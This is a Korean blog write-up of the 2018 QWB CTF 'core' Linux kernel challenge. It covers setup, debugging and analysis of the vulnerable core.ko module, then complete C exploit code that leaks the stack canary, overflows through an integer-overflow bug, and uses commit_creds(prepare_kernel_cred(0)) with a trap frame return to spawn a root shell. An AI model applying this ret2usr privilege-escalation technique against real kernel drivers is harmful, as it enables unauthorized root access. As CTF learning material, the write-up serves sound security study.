Demon 시즌2/linux kernel exploitation

[linux kernel] (7) - 2018 QWB ctf : core (ret2usr)

jir4vvit 2021. 1. 17. 20:54

core 문제를 풀어보기로 결심하였다.  


> 목차

1. 제공된 파일 살펴보기

2. 디버깅 해보기 - Base Address 구하기, 디버깅

3. test expoilt 파일 넣어보기

4. 모듈 분석하기

5. 익스플로잇 준비

    5-1. core_read() 함수 실행 테스트

    5-2. canary leak

    5-3. commit_creds 함수와 prepare_kernel_cred 함수 주소 읽기

    5-4. fake trapframe 설정 하기

6. 익스플로잇


제공된 파일 살펴보기

  • bzImage : 커널이미지 (vmlinux에서 Instruction set을 뽑아냄)
  • core.cpio : 파일시스템
  • start.sh : qemu를 실행하는 옵션이 작성되어 있는 쉘 스크립트
  • vmlinux : ELF 타입, 커널 디버깅에 용이함

 

start.sh을 실행할 때 커널 패닉 에러가 떠서 (initramfs unpacking failed: junk in compressed archive) 아래와 같이 -m 256M 옵션으로 램을 추가 할당해주었다.

 

그리고 커널 디버깅을 gdb로 하기 위해 -s 옵션을 추가하여 1234 포트를 열어주어야 한다. 근데 이미 해당 옵션이 존재하고 있어서 따로 추가는 해주지 않았다.

( 파일 시스템이 로드된 후에 gdb가 설치되므로 -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ 아래부분에 -s 옵션을 주어야 오류가 나지 않는다고 한다.)

 

quiet kaslr은 kaslr 보호기법이 활성화 되어있다는 것을 뜻한다.

(참고로 디버깅할 때는 저걸 빼주는 게 좋다. 왜냐면 주소 계속 바뀌면 디버깅하기 빡세기 때문이다.)

(빼주려면 quite kaslr 대신 quite nokaslr 입력)

 

 

이제 실행이 잘 된다. 

(익스플로잇 할 때는 현재 chal인 권한을 root로 만들면 된다)

 

 

익스를 진행하기 위해서 커널 모듈을 얻어야 한다.

커널 모듈은 core.cpio 안에 .ko 확장자로 들어 있다. 

core.cpio의 확장자를 .gz로 바꾸고 압축을 푼 다음 cpio 명령으로 cpio 압축을 해제한다. 

jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ mkdir core
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ cp core.cpio core
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ cd rootfs
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ cp core.cpio core.gz
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ gzip -d core.gz
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ cpio -id -v < core

 

core.ko가 취약점 분석을 진행할 커널 디바이스 드라이버 모듈이다.

 

 

디버깅 해보기

기본적으로 디버깅을 위해서는 아래와 같은 것이 필요하다.

  • 부팅 쉘 스크립트에 -s 옵션 추가
  • vmlinux 파일
  • gdb를 구동시킬 또 다른 터미널
  • .text 주소 (Base Address)

Base Address 구하기

익스를 하기 위해서 기본적으로 base address를 구해줘야 한다.

/sys/module/core/sections/.text 파일을 읽어줘야하는데 현재 권한으로는 읽을 수가 없어서 root 권한으로 잠깐 바꾸어줘야한다.

 

init

init 파일을 수정한다.

poweroff의 -d 옵션은 자동 종료 시간을 설정해준다. 3000으로 늘려주었다.

그리고 setsid /bin/cttyhack setuidgid 1000 /bin/sh 의 1000을 0으로 바꿔주면 root로 접속할 수 있다. 

 

 

gen_cpio.sh

gen_cpio.sh 스크립트를 이용하여 cpio 파일을 만든다.

이 스크립트는 인자로 새로 만들 cpio 파일 이름을 주면 간단하게 파일시스템을 만들어준다.

안주면 그냥 find .| cpio -o --format=newc > ../rootfs.cpio 이걸로 만들면 된다.

jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ ./gen_cpio.sh core.cpio

 

 

root 권한으로 접속에 성공하였다.

또한 /sys/module/core/sections/.text 파일을 읽어 Base Address를 구할 수 있다.

(Base Address : 0xffffffffc0000000)

(이 Base Address는 코드 영역의 심볼을 모두 담고 있어 디버깅이 가능하다.)

 

디버깅

이제 디버깅을 위해 터미널을 하나 더 연다.

 

vmlinux 파일을 gdb로 실행시켜 준 후 gdb의 add-symbol-file <module_path> <base_address> 명령을 통해 위에서 구한 core 모듈(core.ko) .text 베이스 주소를 심볼로 로딩시켜 준다. 그 다음 target remote:1234 명령을 통해 qemu로 접속을 해준다.

jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ gdb -q vmlinux
pwndbg> add-symbol-file /home/jir4vvit/kernel_exploit/core/give_to_player/core/core.ko 0xffffffffc0000000
pwndbg> target remote:1234

 

 

그럼 이제 왼쪽의 qemu는 멈추게 되고 gdb는 성공적으로 커널 디버깅을 위한 준비가 끝난 상태가 된다.

 

원하는 위치에 break point를 걸고 디버깅을 할 수 있다..

 

 

test exploit 파일 넣어보기

"Hello, world!"를 출력하는 c 코드를 작성 후 파일시스템을 재 압축 하고 qemu를 실행해보았다.

jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ vi test_ex.c
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ gcc -masm=intel -static -o test_ex test_ex.c
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ mv test_ex ./core/test_ex
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player$ cd core
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ ls
bin  core  core.ko  etc  gen_cpio.sh  init  lib  lib64  linuxrc  proc  root  sbin  sys  test_ex  tmp  usr  vmlinux
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ ./gen_cpio.sh core.cpio
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ mv core.cpio ../core.cpio
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player/core$ cd ..
jir4vvit@ubuntu:~/kernel_exploit/core/give_to_player& ./start.sh

성공적으로 잘 들어간 것을 확인할 수 있다.

 

expolit 파일을 이렇게 넣을 수 있다.

 

이때 주의해야할 점이 expoilt 코드를 유저공간에서 gcc로 컴파일 후 qemu 안에 넣어줘야 한다.

그리고 -static 옵션으로 정적 컴파일을 해야 한다. 

 

왜냐하면 익스 코드를 컴파일한 파일을 파일 시스템에 넣어줘야하는데 빌드된 커널과 파일시스템에는 gcc와 링커 등이 없기 때문에 부팅된 커널에서 코드를 컴파일할 수 없기 때문이다. 

 

 

모듈 분석하기

core.ko (모듈)을 IDA로 열어서 디컴파일을 해보았더니 아래와 같은 함수들이 존재하였다.

init_module()

init_module

드라이버를 /proc에 생성을 한다.

/proc 디렉토리에 core라는 이름의 드라이버를 생성한다.

 

 

여기서 core_fops 안에 들어가보자.

fops (file operations)에 함수가 정의가 되어 있지 않으면 직접 호출이 불가능하다.

예를 들어 read를 호출할 때 fd같에 우리 드라이버 fd를 넘겨주면 우리가 등록한 read가 호출되는 식이다.

 

근데 이 문제에서는 core_read가 등록이 되어 있지 않아 ioctl을 통해 호출해야 한다.

 

 

core_ioctl()

세 가지 case가 있다.

case에 따라 원하는 함수를 실행시킨다.

 

0x6677889B를 두 번째 인자로 주면 core_read() 함수를 호출하고,

0x6677889C를 두 번째 인자로 주면 전역변수 off에 v3를 넣고, (off 설정 가능)

0x6677889A를 두 번째 인자로 주면 core_copy_func() 함수를 호출한다.

 

core_read() 함수는 user space에서 read 함수로 직접 호출할 수 없고 ioctl 함수를 통해 호출해야 한다. 

(init_module 함수에서 설명했음)

 

 

core_read()

v6에 canary가 들어간다.

canary와 입력하는 버퍼 사이의 오프셋은 0x40이다. 그리고 rbp와는 0x10이다.

 

for문을 이용하여 v5를 0으로 초기화해 준 뒤, "Welcome to the QWB CTF challenge. \n"문자열을 복사한다.

 

그리고 copy_to_user 함수를 이용하여 &v5+off 주소로부터 64바이트의 값을 user space 버퍼에 복사한다.

 

마지막으로 inline asm으로 swapgs 해준다.

(이 명령을 실행해야 커널 패닉이 일어나지 않는다고 하는데 흠..)

 

 

core_write()

copy_from_user() 함수를 이용해 전역변수 name에 데이터를 저장한다. 

 

참고로 copy_from_user() 함수는 user space에서 kernel space로 데이터를 가져온다. 

 

 

core_copy_func()

여기 if문에서 integer overflow가 발생할 수 있다.

 

매개변수로 넘어온 a1은  __int64로 넘어왔다. 

88 byte int 범위 : -9,223,372,036,854,775,808 ~ 9,223,372,036,854,775,807(0x7FFF FFFF FFFF FFFF)

0x7FFF FFFF FFFF FFFF 보다 큰 숫자를 넣어주면 if문을 우회할 수 있다. (0xf000 0000 0000 0000)

그러면 qmemcpy 함수 실행이 가능해진다.

 

qmemcpy 함수에서 a1을 unsigned __int16으로 변환하여 사용을 한다.

 

음,, core_copy_func 함수를 호출할 때 integer overflow를 발생시켜 else 안으로 들어와 qmemcpy 함수를 실행시켜 BOF를 일으키면 될 것 같은 느낌이다. 

 

 

exit_core()

모듈이 종료될 때 실행되며, /proc 디렉토리에 생성된 core을 삭제한다.

 

 

 

익스플로잇 하기

core_read() 함수 실행 테스트

core_read() 함수는 user space에서 read 함수로 직접 호출할 수 없고 ioctl 함수를 통해 호출해야 한다.

이것을 테스트 해보자.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

int main(void)
{
	int fd;
    fd = open("/proc/core",O_RDWR);

    if(fd == NULL)
    {
    printf("[-] Open /proc/core error!\n");
    exit(1);
    }

    printf("[+] Open /proc/core!\n");

    char buf[0x100];
    ioctl(fd,CORE_READ,buf);

    printf("[+] buf : %s\n",buf);

    return 0;
}

test.c

 

(코드 넣는 과정은 'test exploit 파일 넣어보기' 를 참고하자.) 

성공적으로 core_read() 함수를 호출할 수 있다.

 

 

canary leak

읽어서 출력해주는 core_read() 함수에 canary가 존재했었다. 이것을 leak해야 한다.

 

참고로 왜 BOF는 core_copy_func() 함수에서 일어나는데... core_copy_func() 함수의 canary를 leak해주지 않고 왜 core_read() 함수의 카나리를 leak해주는 것인가?

위 디버깅에서 확인한 결과, 두 함수의 카나리가 값이 같은 것을 확인할 수 있다.

그리고 읽어서 출력을 해야 canary 값을 leak할 수 있는데, 이것은 core_copy_func() 함수에서는 불가능하고 core_read() 함수에서만 가능하다. 

 

문제를 다 풀고 갑자기 궁금증이 생겨 뒤늦게 확인했지만,, 앞으로는 한 모듈에서 카나리 값이 같다는 것으로 인식하고 문제를 풀면 될 것 같다. 


 

core_read() 함수를 다시 살펴보자.

 result = copy_to_user(v1, (char *)&v5 + off, 64LL);

여기서 off는 우리가 core_ioctl() 함수에서 두번째 인자를 0x6677889C, 세번째 인자를 off로 줌으로써 우리 마음대로 off를 설정할 수 있다.

 

카나리와 입력하는 버퍼 사이의 오프셋은 0x40이기 때문에 off를 0x40으로 줘보자.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

int main(void)
{
    int fd;
    fd = open("/proc/core",O_RDWR);

    if(fd == NULL)
    {
    printf("[-] Open /proc/core error!\n");
    exit(1);
    }
    printf("[+] Open /proc/core!\n");


    char buf[0x100];
    char canary[0x8];

    ioctl(fd, CORE_OFFSET, 0x40);
    ioctl(fd, CORE_READ, buf);
    
    memcpy(canary, buf, 0x8);

    printf("[+] canary : ");
    for(int i = 0;i < 8;i++)
    {
        printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");


    return 0;
}

 

디버깅을 통해 카나리 값이 잘 출력되는 지 확인하였다. (오른쪽 화면의 RAX와 왼쪽에 출력한 canary 값이 같다.)

endian 때문에 순서가 바뀌어서 출력됐긴 하다. 암튼 canary 값을 성공적으로 leak하였다.

 

 

commit_creds 함수와 prepare_kernel_cred 함수 주소 읽기

왜 이 두 함수의 주소를 읽어야 할까?

 

우리는 현재 integer overflow를 발생시킬 수 있다. 그리고 이 과정에서 cananry를 맞춰주어야하기 때문에 canary leak을 하였다. 

 

하나 더 생각할 것이, 이 문제는 커널 문제이다.

trapframe을 복원해 주는 것과, commit_creds(), prepare_kernel_cred() 함수를 알아야 한다.

 

위의 두 함수는 권한 상승을 할 때 사용된다. 

prepare_kernel_cred() 함수의 인자로 NULL을 주면, root 권한으로 자격 증명을 준비한다.

그리고 commit_creds() 함수의 인자로 prepare_kernel_cred(0)을 주면 root 권한의 자격증명을 주는 것이다.

결론적으로 현재 실행중인 프로세스가 root권한을 가질 수 있게 된다!

 

다시 user space로 돌아왔을 때 위 함수의 실행 결과로, 해당 프로세스는 root 권한을 가지고 그 상태에서 system("bin\sh") 등의 쉘을 실행하는 함수를 호출하면 root 권한의 쉘을 얻게 된다.


commit_creds 함수와 prepare_kernel_cred 함수의 주소는 /proc/kallsyms에 존재한다.

 

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 3000 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

core.cpio 안에 존재하는 init 파일이다.

 

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

이 두개가 dmesg를 막는 것과(?) /proc/kallsyms는 root만 읽도록 설정한다.

cat /proc/kallsyms > /tmp/kallsyms

하지만 /proc/kallsyms을 복사한 /tmp/kallsyms 파일을 새로 생성하기 때문에 유저가 읽을 수 있다. 

익스플로잇 코드에서 open 함수로 읽어주면 되겠다.

 

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

void *get_kallsyms(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];

    fp = fopen("/tmp/kallsyms", "r");
    
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) 
    {
        if(strcmp(sym, name) == 0) break;
        else addr = NULL;
    }

    fclose(fp);
    return addr;
}

int main(void)
{
    // 파일 읽기 확인
    int fd = open("/proc/core",O_RDWR);

    if(fd == NULL)
    {
    printf("[-] Open /proc/core error!\n");
    exit(1);
    }
    printf("[+] Open /proc/core!\n");

    // prepare_kernel_cred, commit_creds 확인
    prepare_kernel_cred = get_kallsyms("prepare_kernel_cred");
    commit_creds = get_kallsyms("commit_creds");

    printf("[+] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
    printf("[+] commit_creds : 0x%lx\n", commit_creds);

    // 카나리 확인
    char buf[0x100];
    char canary[0x8];

    ioctl(fd, CORE_OFFSET, 0x40);
    ioctl(fd, CORE_READ, buf);
    
    memcpy(canary, buf, 0x8);

    printf("[+] canary : ");
    for(int i = 0;i < 8;i++)
    {
        printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");


    return 0;
}

비록 난 root지만.. /tmp/kallsyms 파일을 open한 결과와 root에서 /proc/kallsyms 파일을 읽은 결과가 똑같다. 

 

 

fake trapframe 설정 하기

커널은 kernel space와 user space로 분리되어 있다.

 

우리는 방금 kernel space에서 root로의 권한 상승을 위해 commit_creds(prepare_kernel_cred(0))을 호출할 준비를 하였다. (commit_creds 함수와 prepare_kernel_cred 함수 주소 알아내기)

 

그리고 나서 system 함수 등.. 쉘을 획득하는 함수를 실행해야 할 것이다. 그런데 이 함수는 user space의 함수이고, user space에서 실행을 해야한다. 하지만 스택 포인터는 kernel space를 가리키고 있고... 

 

그래서 system 함수를 호출하기 전에 스택 포인터를 user space로 돌려주어야 한다. 

 

이 때, trap frame이 필요하다. oveflow로 retrun address를 덮기 전에 trap frame을 만들어 스택에 저장해두고, return address를 덮은 후, 저장해두었던 trap frame을 다시 가져와서 이후에 실행할 함수들을 실행해야 한다. 

 

 

trap frame은 아래와 같이 구성되어 있다. 

struct trap_frame {
    void *user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    void *user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct trap_frame tf;

그리고 아래와 같은 함수들을 추가시켜 줘야 한다.

void get_shell(void) {
    system("/bin/sh");
}

void backup_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
       );
    tf.user_rip = &get_shell;
}

void payload(void) {
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
        : : "r" (&tf));
}

backup_tf 함수는 스택 포인터를 백업 후 RIP에 쉘을 실행시키는 get_shell 함수의 주소를 넣어 준다.

payload 함수는 return address에 들어갈 함수이다. 

 

 

exploit

  1. commit_creds(), prepare_kernel_cred() 함수의 주소를 읽는다.

  2. off 세팅 후 core_read() 함수를 호출하여 canary leak

  3. ret 변경 전 backup_tf() 함수를 호출하여 스택 포인터 백업

  4. write() 함수를 호출하여 전역변수 name에 rop 내용 저장

  5. core_copy_func() 함수를 이용한 integer overflow와 qmemcpy() 함수를 통한 BOF
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>

#define CORE_READ 0x6677889B
#define CORE_OFFSET 0x6677889C
#define CORE_COPY 0x6677889A

void *(*prepare_kernel_cred)(void *);
int (*commit_creds)(void *);

struct trap_frame {
    void *user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    void *user_rsp;
    uint64_t user_ss;
} __attribute__((packed));
struct trap_frame tf;

void get_shell(void) {
    system("/bin/sh");
}

void backup_tf(void) {
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
       );
    tf.user_rip = &get_shell;
}

void payload(void) {
    commit_creds(prepare_kernel_cred(0));
    asm("swapgs;"
        "mov %%rsp, %0;"
        "iretq;"
        : : "r" (&tf));
}

void *get_kallsyms(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];

    fp = fopen("/tmp/kallsyms", "r");
    
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) 
    {
        if(strcmp(sym, name) == 0) break;
        else addr = NULL;
    }

    fclose(fp);
    return addr;
}

int main(void)
{
    //
    int fd = open("/proc/core",O_RDWR);

    if(fd == NULL)
    {
    printf("[-] Open /proc/core error!\n");
    exit(1);
    }
    printf("[+] Open /proc/core!\n");

    //
    prepare_kernel_cred = get_kallsyms("prepare_kernel_cred");
    commit_creds = get_kallsyms("commit_creds");

    printf("[+] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
    printf("[+] commit_creds : 0x%lx\n", commit_creds);

    //
    char buf[0x100];
    char canary[0x8];

    ioctl(fd, CORE_OFFSET, 0x40);
    ioctl(fd, CORE_READ, buf);
    
    memcpy(canary, buf, 0x8);

    printf("[+] canary : ");
    for(int i = 0;i < 8;i++)
    {
        printf("%02x ",canary[i] & 0xff);
    }
    printf("\n");

    //
    char rop[0x100];

    memset(rop, "A", 0x40);
    memcpy(rop+0x40, canary, 8);
    memset(rop+0x48, "A", 8);
    *(void**)(rop+0x50) = &payload;
    memset(rop+0x58, "A", 8);
    backup_tf();

    write(fd, rop, 0x58);
    ioctl(fd, CORE_COPY, 0xffffffffffff0000 | sizeof(rop));

    return 0;
}

 

 


커널 문제중에 많이 쉬운편이라고 들었는데 생각보다 어렵고, 많이 힘들었다. 디버깅에 많이 익숙해져야겠다. c언어 코드에도 많이 익숙해져야겠다... 결국 스스로 문제 풀지 못하고 롸업을 많이 참고했지만.. 많이 아쉬운 문제다. integer overflow 개념도 한 번 더 다시 잡아야겠다. (나는 처음에 보고 integer overflow 라는 것을 깨닫지 못하였다.)

 

 

*ref

더보기

myblog.opendocs.co.kr/archives/1230
ii4gsp.tistory.com/283
biji-jjigae.tistory.com/109
kimvabel.tistory.com/97
sunrinjuntae.tistory.com/133
defenit.kr/2019/10/18/Pwn/%E3%84%B4%20WriteUps/CISCN-2017-babydriver-Write-Up-linux-kernel-UAF/
dreamhack.io/lecture/courses/82